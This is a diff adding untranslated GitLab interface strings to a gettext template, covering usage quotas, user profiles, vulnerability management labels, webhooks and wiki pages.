+msgid "Upgrade your plan to activate Audit Events."
+msgstr ""
+
+msgid "Upgrade your plan to activate Group Webhooks."
+msgstr ""
+
+msgid "Upgrade your plan to enable this feature of the Jira Integration."
+msgstr ""
+
+msgid "Upgrade your plan to improve Issue boards."
+msgstr ""
+
+msgid "Upgrade your plan to improve Merge Requests."
+msgstr ""
+
+msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
+msgstr ""
+
+msgid "Upload CSV file"
+msgstr ""
+
+msgid "Upload License"
+msgstr ""
+
+msgid "Upload New File"
+msgstr ""
+
+msgid "Upload New License"
+msgstr ""
+
+msgid "Upload a certificate for your domain with all intermediates"
+msgstr ""
+
+msgid "Upload a private key for your certificate"
+msgstr ""
+
+msgid "Upload file"
+msgstr ""
+
+msgid "Upload object map"
+msgstr ""
+
+msgid "UploadLink|click to upload"
+msgstr ""
+
+msgid "Uploaded on"
+msgstr ""
+
+msgid "Uploaded:"
+msgstr ""
+
+msgid "Uploading changes to terminal"
+msgstr ""
+
+msgid "Uploads"
+msgstr ""
+
+msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently removed after %{deletion_adjourned_period} days on %{date}. Until that time:"
+msgstr ""
+
+msgid "Upstream"
+msgstr ""
+
+msgid "Uptime"
+msgstr ""
+
+msgid "Upvotes"
+msgstr ""
+
+msgid "Usage"
+msgstr ""
+
+msgid "Usage ping is off"
+msgstr ""
+
+msgid "Usage statistics"
+msgstr ""
+
+msgid "UsageQuota|%{help_link_start}Shared runners%{help_link_end} are disabled, so there are no limits set on pipeline usage"
+msgstr ""
+
+msgid "UsageQuota|Artifacts"
+msgstr ""
+
+msgid "UsageQuota|Build Artifacts"
+msgstr ""
+
+msgid "UsageQuota|Buy additional minutes"
+msgstr ""
+
+msgid "UsageQuota|Current period usage"
+msgstr ""
+
+msgid "UsageQuota|Increase storage temporarily"
+msgstr ""
+
+msgid "UsageQuota|LFS Objects"
+msgstr ""
+
+msgid "UsageQuota|LFS Storage"
+msgstr ""
+
+msgid "UsageQuota|Packages"
+msgstr ""
+
+msgid "UsageQuota|Pipelines"
+msgstr ""
+
+msgid "UsageQuota|Purchase more storage"
+msgstr ""
+
+msgid "UsageQuota|Repositories"
+msgstr ""
+
+msgid "UsageQuota|Repository"
+msgstr ""
+
+msgid "UsageQuota|Snippets"
+msgstr ""
+
+msgid "UsageQuota|Storage"
+msgstr ""
+
+msgid "UsageQuota|This namespace has no projects which use shared runners"
+msgstr ""
+
+msgid "UsageQuota|Unlimited"
+msgstr ""
+
+msgid "UsageQuota|Usage"
+msgstr ""
+
+msgid "UsageQuota|Usage Quotas"
+msgstr ""
+
+msgid "UsageQuota|Usage of group resources across the projects in the %{strong_start}%{group_name}%{strong_end} group"
+msgstr ""
+
+msgid "UsageQuota|Usage of resources across your projects"
+msgstr ""
+
+msgid "UsageQuota|Usage quotas help link"
+msgstr ""
+
+msgid "UsageQuota|Usage since"
+msgstr ""
+
+msgid "UsageQuota|Wiki"
+msgstr ""
+
+msgid "UsageQuota|Wikis"
+msgstr ""
+
+msgid "UsageQuota|You used: %{usage} %{limit}"
+msgstr ""
+
+msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
+msgstr ""
+
+msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
+msgstr ""
+
+msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
+msgstr ""
+
+msgid "Use a hardware device to add the second factor of authentication."
+msgstr ""
+
+msgid "Use an one time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
+msgstr ""
+
+msgid "Use custom color #FF0000"
+msgstr ""
+
+msgid "Use hashed storage"
+msgstr ""
+
+msgid "Use hashed storage paths for newly created and renamed repositories. Enable immutable, hash-based paths and repository names to store repositories on disk. This prevents repositories from having to be moved or renamed when the Repository URL changes and may improve disk I/O performance. (Always enabled since 13.0)"
+msgstr ""
+
+msgid "Use one line per URI"
+msgstr ""
+
+msgid "Use template"
+msgstr ""
+
+msgid "Use the following registration token during setup:"
+msgstr ""
+
+msgid "Use your global notification setting"
+msgstr ""
+
+msgid "Use your smart card to authenticate with the LDAP server."
+msgstr ""
+
+msgid "Used by members to sign in to your group in GitLab"
+msgstr ""
+
+msgid "Used programming language"
+msgstr ""
+
+msgid "Used to help configure your identity provider"
+msgstr ""
+
+msgid "User"
+msgstr ""
+
+msgid "User %{current_user_username} has started impersonating %{username}"
+msgstr ""
+
+msgid "User %{username} was successfully removed."
+msgstr ""
+
+msgid "User IDs"
+msgstr ""
+
+msgid "User List"
+msgstr ""
+
+msgid "User OAuth applications"
+msgstr ""
+
+msgid "User Settings"
+msgstr ""
+
+msgid "User and IP Rate Limits"
+msgstr ""
+
+msgid "User identity was successfully created."
+msgstr ""
+
+msgid "User identity was successfully removed."
+msgstr ""
+
+msgid "User identity was successfully updated."
+msgstr ""
+
+msgid "User is not allowed to resolve thread"
+msgstr ""
+
+msgid "User key was successfully removed."
+msgstr ""
+
+msgid "User list %{name} will be removed. Are you sure?"
+msgstr ""
+
+msgid "User map"
+msgstr ""
+
+msgid "User pipeline minutes were successfully reset."
+msgstr ""
+
+msgid "User restrictions"
+msgstr ""
+
+msgid "User settings"
+msgstr ""
+
+msgid "User was successfully created."
+msgstr ""
+
+msgid "User was successfully removed from group and any subresources."
+msgstr ""
+
+msgid "User was successfully removed from project."
+msgstr ""
+
+msgid "User was successfully updated."
+msgstr ""
+
+msgid "UserLists|Add"
+msgstr ""
+
+msgid "UserLists|Add Users"
+msgstr ""
+
+msgid "UserLists|Add users"
+msgstr ""
+
+msgid "UserLists|Cancel"
+msgstr ""
+
+msgid "UserLists|Create"
+msgstr ""
+
+msgid "UserLists|Define a set of users to be used within feature flag strategies"
+msgstr ""
+
+msgid "UserLists|Edit"
+msgstr ""
+
+msgid "UserLists|Edit %{name}"
+msgstr ""
+
+msgid "UserLists|Enter a comma separated list of user IDs. These IDs should be the users of the system in which the feature flag is set, not GitLab IDs"
+msgstr ""
+
+msgid "UserLists|Feature flag list"
+msgstr ""
+
+msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
+msgstr ""
+
+msgid "UserLists|Name"
+msgstr ""
+
+msgid "UserLists|New list"
+msgstr ""
+
+msgid "UserLists|Save"
+msgstr ""
+
+msgid "UserLists|There are no users"
+msgstr ""
+
+msgid "UserLists|User ID"
+msgstr ""
+
+msgid "UserLists|User IDs"
+msgstr ""
+
+msgid "UserList|Delete %{name}?"
+msgstr ""
+
+msgid "UserList|created %{timeago}"
+msgstr ""
+
+msgid "UserProfile|Activity"
+msgstr ""
+
+msgid "UserProfile|Already reported for abuse"
+msgstr ""
+
+msgid "UserProfile|Blocked user"
+msgstr ""
+
+msgid "UserProfile|Contributed projects"
+msgstr ""
+
+msgid "UserProfile|Edit profile"
+msgstr ""
+
+msgid "UserProfile|Explore public groups to find projects to contribute to."
+msgstr ""
+
+msgid "UserProfile|Groups"
+msgstr ""
+
+msgid "UserProfile|Groups are the best way to manage projects and members."
+msgstr ""
+
+msgid "UserProfile|Join or create a group to start contributing by commenting on issues or submitting merge requests!"
+msgstr ""
+
+msgid "UserProfile|Most Recent Activity"
+msgstr ""
+
+msgid "UserProfile|No snippets found."
+msgstr ""
+
+msgid "UserProfile|Overview"
+msgstr ""
+
+msgid "UserProfile|Personal projects"
+msgstr ""
+
+msgid "UserProfile|Report abuse"
+msgstr ""
+
+msgid "UserProfile|Snippets"
+msgstr ""
+
+msgid "UserProfile|Snippets in GitLab can either be private, internal, or public."
+msgstr ""
+
+msgid "UserProfile|Star projects to track their progress and show your appreciation."
+msgstr ""
+
+msgid "UserProfile|Starred projects"
+msgstr ""
+
+msgid "UserProfile|Subscribe"
+msgstr ""
+
+msgid "UserProfile|This user doesn't have any personal projects"
+msgstr ""
+
+msgid "UserProfile|This user has a private profile"
+msgstr ""
+
+msgid "UserProfile|This user hasn't contributed to any projects"
+msgstr ""
+
+msgid "UserProfile|This user hasn't starred any projects"
+msgstr ""
+
+msgid "UserProfile|This user is blocked"
+msgstr ""
+
+msgid "UserProfile|View all"
+msgstr ""
+
+msgid "UserProfile|View user in admin area"
+msgstr ""
+
+msgid "UserProfile|You can create a group for several dependent projects."
+msgstr ""
+
+msgid "UserProfile|You haven't created any personal projects."
+msgstr ""
+
+msgid "UserProfile|You haven't created any snippets."
+msgstr ""
+
+msgid "UserProfile|Your projects can be available publicly, internally, or privately, at your choice."
+msgstr ""
+
+msgid "UserProfile|at"
+msgstr ""
+
+msgid "UserProfile|made a private contribution"
+msgstr ""
+
+msgid "Username (optional)"
+msgstr ""
+
+msgid "Username is already taken."
+msgstr ""
+
+msgid "Username is available."
+msgstr ""
+
+msgid "Username is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "Username or email"
+msgstr ""
+
+msgid "Users"
+msgstr ""
+
+msgid "Users in License:"
+msgstr ""
+
+msgid "Users or groups set as approvers in the project's or merge request's settings."
+msgstr ""
+
+msgid "Users outside of license"
+msgstr ""
+
+msgid "Users over License:"
+msgstr ""
+
+msgid "Users requesting access to"
+msgstr ""
+
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Users were successfully added."
+msgstr ""
+
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
+msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
+msgstr ""
+
+msgid "UsersSelect|%{name} + %{length} more"
+msgstr ""
+
+msgid "UsersSelect|Any User"
+msgstr ""
+
+msgid "UsersSelect|Assignee"
+msgstr ""
+
+msgid "UsersSelect|No assignee - %{openingTag} assign yourself %{closingTag}"
+msgstr ""
+
+msgid "UsersSelect|Unassigned"
+msgstr ""
+
+msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
+msgstr ""
+
+msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
+msgstr ""
+
+msgid "Using required encryption strategy when encrypted field is missing!"
+msgstr ""
+
+msgid "Valid from"
+msgstr ""
+
+msgid "Validate"
+msgstr ""
+
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
+msgid "Validate your GitLab CI configuration file"
+msgstr ""
+
+msgid "Validations failed."
+msgstr ""
+
+msgid "Validity"
+msgstr ""
+
+msgid "Value"
+msgstr ""
+
+msgid "Value Stream"
+msgstr ""
+
+msgid "Value Stream Analytics"
+msgstr ""
+
+msgid "Value Stream Analytics can help you determine your team’s velocity"
+msgstr ""
+
+msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
+msgstr ""
+
+msgid "Value Stream Name"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{days}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
+msgstr ""
+
+msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
+msgid "Variable"
+msgstr ""
+
+msgid "Variable will be masked in job logs."
+msgstr ""
+
+msgid "Variables"
+msgstr ""
+
+msgid "Various container registry settings."
+msgstr ""
+
+msgid "Various email settings."
+msgstr ""
+
+msgid "Various localization settings."
+msgstr ""
+
+msgid "Various settings that affect GitLab performance."
+msgstr ""
+
+msgid "Verification capacity"
+msgstr ""
+
+msgid "Verification information"
+msgstr ""
+
+msgid "Verification status"
+msgstr ""
+
+msgid "Verified"
+msgstr ""
+
+msgid "Verify SAML Configuration"
+msgstr ""
+
+msgid "Verify configuration"
+msgstr ""
+
+msgid "Version"
+msgstr ""
+
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
+msgid "View Documentation"
+msgstr ""
+
+msgid "View all issues"
+msgstr ""
+
+msgid "View blame prior to this change"
+msgstr ""
+
+msgid "View chart"
+msgid_plural "View charts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "View dependency details for your project"
+msgstr ""
+
+msgid "View deployment"
+msgstr ""
+
+msgid "View details"
+msgstr ""
+
+msgid "View details: %{details_url}"
+msgstr ""
+
+msgid "View documentation"
+msgstr ""
+
+msgid "View eligible approvers"
+msgstr ""
+
+msgid "View epics list"
+msgstr ""
+
+msgid "View exposed artifact"
+msgid_plural "View %d exposed artifacts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "View file @ "
+msgstr ""
+
+msgid "View file @ %{commitSha}"
+msgstr ""
+
+msgid "View full dashboard"
+msgstr ""
+
+msgid "View full log"
+msgstr ""
+
+msgid "View group labels"
+msgstr ""
+
+msgid "View incident issues."
+msgstr ""
+
+msgid "View issue"
+msgstr ""
+
+msgid "View issues"
+msgstr ""
+
+msgid "View it on GitLab"
+msgstr ""
+
+msgid "View job"
+msgstr ""
+
+msgid "View job log"
+msgstr ""
+
+msgid "View jobs"
+msgstr ""
+
+msgid "View labels"
+msgstr ""
+
+msgid "View log"
+msgstr ""
+
+msgid "View merge request"
+msgstr ""
+
+msgid "View open merge request"
+msgstr ""
+
+msgid "View page @ "
+msgstr ""
+
+msgid "View performance dashboard."
+msgstr ""
+
+msgid "View project"
+msgstr ""
+
+msgid "View project labels"
+msgstr ""
+
+msgid "View replaced file @ "
+msgstr ""
+
+msgid "View supported languages and frameworks"
+msgstr ""
+
+msgid "View the documentation"
+msgstr ""
+
+msgid "View the latest successful deployment to this environment"
+msgstr ""
+
+msgid "View the performance dashboard at"
+msgstr ""
+
+msgid "View users statistics"
+msgstr ""
+
+msgid "Viewing commit"
+msgstr ""
+
+msgid "Visibility"
+msgstr ""
+
+msgid "Visibility and access controls"
+msgstr ""
+
+msgid "Visibility level"
+msgstr ""
+
+msgid "Visibility level:"
+msgstr ""
+
+msgid "Visibility settings have been disabled by the administrator."
+msgstr ""
+
+msgid "Visibility, project features, permissions"
+msgstr ""
+
+msgid "Visibility:"
+msgstr ""
+
+msgid "VisibilityLevel|Internal"
+msgstr ""
+
+msgid "VisibilityLevel|Private"
+msgstr ""
+
+msgid "VisibilityLevel|Public"
+msgstr ""
+
+msgid "VisibilityLevel|Unknown"
+msgstr ""
+
+msgid "Visit settings page"
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 2%{stepEnd}. Add it to the %{headTags} tags of every page of your application, ensuring the merge request ID is set or not set as required. "
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 3%{stepEnd}. If not previously %{linkStart}configured%{linkEnd} by a developer, enter the merge request ID for the review when prompted. The ID of this merge request is %{stepStart}%{mrId}%{stepStart}."
+msgstr ""
+
+msgid "VisualReviewApp|%{stepStart}Step 4%{stepEnd}. Leave feedback in the Review App."
+msgstr ""
+
+msgid "VisualReviewApp|Cancel"
+msgstr ""
+
+msgid "VisualReviewApp|Copy merge request ID"
+msgstr ""
+
+msgid "VisualReviewApp|Copy script"
+msgstr ""
+
+msgid "VisualReviewApp|Enable Visual Reviews"
+msgstr ""
+
+msgid "VisualReviewApp|Follow the steps below to enable Visual Reviews inside your application."
+msgstr ""
+
+msgid "VisualReviewApp|No review app found or available."
+msgstr ""
+
+msgid "VisualReviewApp|Open review app"
+msgstr ""
+
+msgid "VisualReviewApp|Review"
+msgstr ""
+
+msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
+msgstr ""
+
+msgid "Vulnerabilities"
+msgstr ""
+
+msgid "Vulnerabilities over time"
+msgstr ""
+
+msgid "Vulnerability Report"
+msgstr ""
+
+msgid "Vulnerability remediated. Review before resolving."
+msgstr ""
+
+msgid "Vulnerability resolved in %{branch}"
+msgstr ""
+
+msgid "Vulnerability resolved in the default branch"
+msgstr ""
+
+msgid "Vulnerability-Check"
+msgstr ""
+
+msgid "VulnerabilityChart|%{formattedStartDate} to today"
+msgstr ""
+
+msgid "VulnerabilityChart|Severity"
+msgstr ""
+
+msgid "VulnerabilityManagement|A true-positive and will fix"
+msgstr ""
+
+msgid "VulnerabilityManagement|Change status"
+msgstr ""
+
+msgid "VulnerabilityManagement|Confirm"
+msgstr ""
+
+msgid "VulnerabilityManagement|Confirmed %{timeago} by %{user}"
+msgstr ""
+
+msgid "VulnerabilityManagement|Could not process %{issueReference}: %{errorMessage}."
+msgstr ""
+
+msgid "VulnerabilityManagement|Detected %{timeago} in pipeline %{pipelineLink}"
+msgstr ""
+
+msgid "VulnerabilityManagement|Dismiss"
+msgstr ""
+
+msgid "VulnerabilityManagement|Dismissed %{timeago} by %{user}"
+msgstr ""
+
+msgid "VulnerabilityManagement|Resolved"
+msgstr ""
+
+msgid "VulnerabilityManagement|Resolved %{timeago} by %{user}"
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to refresh the vulnerability. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to retrieve the vulnerability history. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to save the comment. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong, could not get user."
+msgstr ""
+
+msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
+msgstr ""
+
+msgid "VulnerabilityManagement|Verified as fixed or mitigated"
+msgstr ""
+
+msgid "VulnerabilityManagement|Will not fix or a false-positive"
+msgstr ""
+
+msgid "VulnerabilityManagement|invalid issue link or ID"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|All"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Confirmed"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Detected"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Dismissed"
+msgstr ""
+
+msgid "VulnerabilityStatusTypes|Resolved"
+msgstr ""
+
+msgid "Vulnerability|%{scannerName} (version %{scannerVersion})"
+msgstr ""
+
+msgid "Vulnerability|Class"
+msgstr ""
+
+msgid "Vulnerability|Comments"
+msgstr ""
+
+msgid "Vulnerability|Crash Address"
+msgstr ""
+
+msgid "Vulnerability|Description"
+msgstr ""
+
+msgid "Vulnerability|Evidence"
+msgstr ""
+
+msgid "Vulnerability|File"
+msgstr ""
+
+msgid "Vulnerability|Identifier"
+msgstr ""
+
+msgid "Vulnerability|Identifiers"
+msgstr ""
+
+msgid "Vulnerability|Image"
+msgstr ""
+
+msgid "Vulnerability|Links"
+msgstr ""
+
+msgid "Vulnerability|Method"
+msgstr ""
+
+msgid "Vulnerability|Namespace"
+msgstr ""
+
+msgid "Vulnerability|Project"
+msgstr ""
+
+msgid "Vulnerability|Request"
+msgstr ""
+
+msgid "Vulnerability|Response"
+msgstr ""
+
+msgid "Vulnerability|Scanner"
+msgstr ""
+
+msgid "Vulnerability|Scanner Provider"
+msgstr ""
+
+msgid "Vulnerability|Severity"
+msgstr ""
+
+msgid "Vulnerability|Status"
+msgstr ""
+
+msgid "Wait for the file to load to copy its contents"
+msgstr ""
+
+msgid "Waiting for merge (open and assigned)"
+msgstr ""
+
+msgid "Waiting for performance data"
+msgstr ""
+
+msgid "Want to see the data? Please ask an administrator for access."
+msgstr ""
+
+msgid "Warning:"
+msgstr ""
+
+msgid "Warning: Displaying this diagram might cause performance issues on this page."
+msgstr ""
+
+msgid "We are currently unable to fetch data for this graph."
+msgstr ""
+
+msgid "We could not determine the path to remove the epic"
+msgstr ""
+
+msgid "We could not determine the path to remove the issue"
+msgstr ""
+
+msgid "We couldn't reach the Prometheus server. Either the server no longer exists or the configuration details need updating."
+msgstr ""
+
+msgid "We detected potential spam in the %{humanized_resource_name}. Please solve the reCAPTCHA to proceed."
+msgstr ""
+
+msgid "We don't have enough data to show this stage."
+msgstr ""
+
+msgid "We have found the following errors:"
+msgstr ""
+
+msgid "We heard back from your device. You have been authenticated."
+msgstr ""
+
+msgid "We recommend that you buy more Pipeline minutes to avoid any interruption of service."
+msgstr ""
+
+msgid "We recommend that you buy more Pipeline minutes to resume normal service."
+msgstr ""
+
+msgid "We sent you an email with reset password instructions"
+msgstr ""
+
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgstr ""
+
+msgid "We want to be sure it is you, please confirm you are not a robot."
+msgstr ""
+
+msgid "We've found no vulnerabilities"
+msgstr ""
+
+msgid "Web Application Firewall"
+msgstr ""
+
+msgid "Web IDE"
+msgstr ""
+
+msgid "Web Terminal"
+msgstr ""
+
+msgid "Web terminal"
+msgstr ""
+
+msgid "WebIDE|Merge request"
+msgstr ""
+
+msgid "Webhook"
+msgstr ""
+
+msgid "Webhook Logs"
+msgstr ""
+
+msgid "Webhook Settings"
+msgstr ""
+
+msgid "Webhooks"
+msgstr ""
+
+msgid "Webhooks Help"
+msgstr ""
+
+msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
+msgstr ""
+
+msgid "Webhooks have moved. They can now be found under the Settings menu."
+msgstr ""
+
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
+msgid "Wednesday"
+msgstr ""
+
+msgid "Weekday"
+msgstr ""
+
+msgid "Weeks"
+msgstr ""
+
+msgid "Weight"
+msgstr ""
+
+msgid "Weight %{weight}"
+msgstr ""
+
+msgid "Welcome back! Your account had been deactivated due to inactivity but is now reactivated."
+msgstr ""
+
+msgid "Welcome to GitLab"
+msgstr ""
+
+msgid "Welcome to GitLab%{br_tag}%{name}!"
+msgstr ""
+
+msgid "Welcome to GitLab, %{first_name}!"
+msgstr ""
+
+msgid "Welcome to the guided GitLab tour"
+msgstr ""
+
+msgid "Welcome to your Issue Board!"
+msgstr ""
+
+msgid "Welcome to your issue board!"
+msgstr ""
+
+msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
+msgstr ""
+
+msgid "What are you searching for?"
+msgstr ""
+
+msgid "What describes you best?"
+msgstr ""
+
+msgid "What's new at GitLab"
+msgstr ""
+
+msgid "What’s your experience level?"
+msgstr ""
+
+msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
+msgstr ""
+
+msgid "When a runner is locked, it cannot be assigned to other projects"
+msgstr ""
+
+msgid "When enabled, any user visiting %{host} will be able to create an account."
+msgstr ""
+
+msgid "When enabled, if an NPM package isn't found in the GitLab Registry, we will attempt to pull from the global NPM registry."
+msgstr ""
+
+msgid "When enabled, users cannot use GitLab until the terms have been accepted."
+msgstr ""
+
+msgid "When leaving the URL blank, classification labels can still be specified without disabling cross project features or performing external authorization checks."
+msgstr ""
+
+msgid "When this merge request is accepted"
+msgid_plural "When these merge requests are accepted"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "When using the %{code_open}http://%{code_close} or %{code_open}https://%{code_close} protocols, please provide the exact URL to the repository. HTTP redirects will not be followed."
+msgstr ""
+
+msgid "When:"
+msgstr ""
+
+msgid "While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you please double check your settings to make sure you've set up your dashboard correctly."
+msgstr ""
+
+msgid "Who can be an approver?"
+msgstr ""
+
+msgid "Who can see this group?"
+msgstr ""
+
+msgid "Who will be able to see this group?"
+msgstr ""
+
+msgid "Who will be using GitLab?"
+msgstr ""
+
+msgid "Who will be using this GitLab subscription?"
+msgstr ""
+
+msgid "Who will be using this GitLab trial?"
+msgstr ""
+
+msgid "Wiki"
+msgstr ""
+
+msgid "Wiki was successfully updated."
+msgstr ""
+
+msgid "WikiClone|Clone your wiki"
+msgstr ""
+
+msgid "WikiClone|Git Access"
+msgstr ""
+
+msgid "WikiClone|Install Gollum"
+msgstr ""
+
+msgid "WikiClone|Start Gollum and edit locally"
+msgstr ""
+
+msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiEdit|There is already a page with the same title in that path."
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|Suggest wiki improvement"
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|You must be a group member in order to add wiki pages. If you have suggestions for how to improve the wiki for this group, consider opening an issue in the %{issues_link}."
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|You must be a project member in order to add wiki pages. If you have suggestions for how to improve the wiki for this project, consider opening an issue in the %{issues_link}."
+msgstr ""
+
+msgid "WikiEmptyIssueMessage|issue tracker"
+msgstr ""
+
+msgid "WikiEmpty| Have a Confluence wiki already? Use that instead."
+msgstr ""
+
+msgid "WikiEmpty|A wiki is where you can store all the details about your group. This can include why you've created it, its principles, how to use it, and so on."
+msgstr ""
+
+msgid "WikiEmpty|A wiki is where you can store all the details about your project. This can include why you've created it, its principles, how to use it, and so on."
+msgstr ""
+
+msgid "WikiEmpty|Confluence is enabled"
+msgstr ""
+
+msgid "WikiEmpty|Create your first page"
+msgstr ""
+
+msgid "WikiEmpty|Enable the Confluence Wiki integration"
+msgstr ""
+
+msgid "WikiEmpty|Go to Confluence"
+msgstr ""
+
+msgid "WikiEmpty|Suggest wiki improvement"
+msgstr ""
+
+msgid "WikiEmpty|The wiki lets you write documentation for your group"
+msgstr ""
+
+msgid "WikiEmpty|The wiki lets you write documentation for your project"
+msgstr ""
+
+msgid "WikiEmpty|This group has no wiki pages"
+msgstr ""
+
+msgid "WikiEmpty|This project has no wiki pages"
+msgstr ""
+
+msgid "WikiEmpty|You must be a group member in order to add wiki pages."
+msgstr ""
+
+msgid "WikiEmpty|You must be a project member in order to add wiki pages."
+msgstr ""
+
+msgid "WikiEmpty|You've enabled the Confluence Workspace integration. Your wiki will be viewable directly within Confluence. We are hard at work integrating Confluence more seamlessly into GitLab. If you'd like to stay up to date, follow our %{wiki_confluence_epic_link_start}Confluence epic%{wiki_confluence_epic_link_end}."
+msgstr ""
+
+msgid "WikiHistoricalPage|This is an old version of this page."
+msgstr ""
+
+msgid "WikiHistoricalPage|You can view the %{most_recent_link} or browse the %{history_link}."
+msgstr ""
+
+msgid "WikiHistoricalPage|history"
+msgstr ""
+
+msgid "WikiHistoricalPage|most recent version"
+msgstr ""
+
+msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgstr ""
+
+msgid "WikiMarkdownDocs|documentation"
+msgstr ""
+
+msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgstr ""
+
+msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgstr ""
+
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{page_link} and make sure your changes will not unintentionally remove theirs."
+msgstr ""
+
+msgid "WikiPageConflictMessage|the page"
+msgstr ""
+
+msgid "WikiPageCreate|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPageEdit|Update %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Write your content or drag files here…"
+msgstr ""
+
+msgid "Wikis"
+msgstr ""
+
+msgid "Wiki|Create New Page"
+msgstr ""
+
+msgid "Wiki|Create page"
+msgstr ""
+
+msgid "Wiki|Created date"
+msgstr ""
+
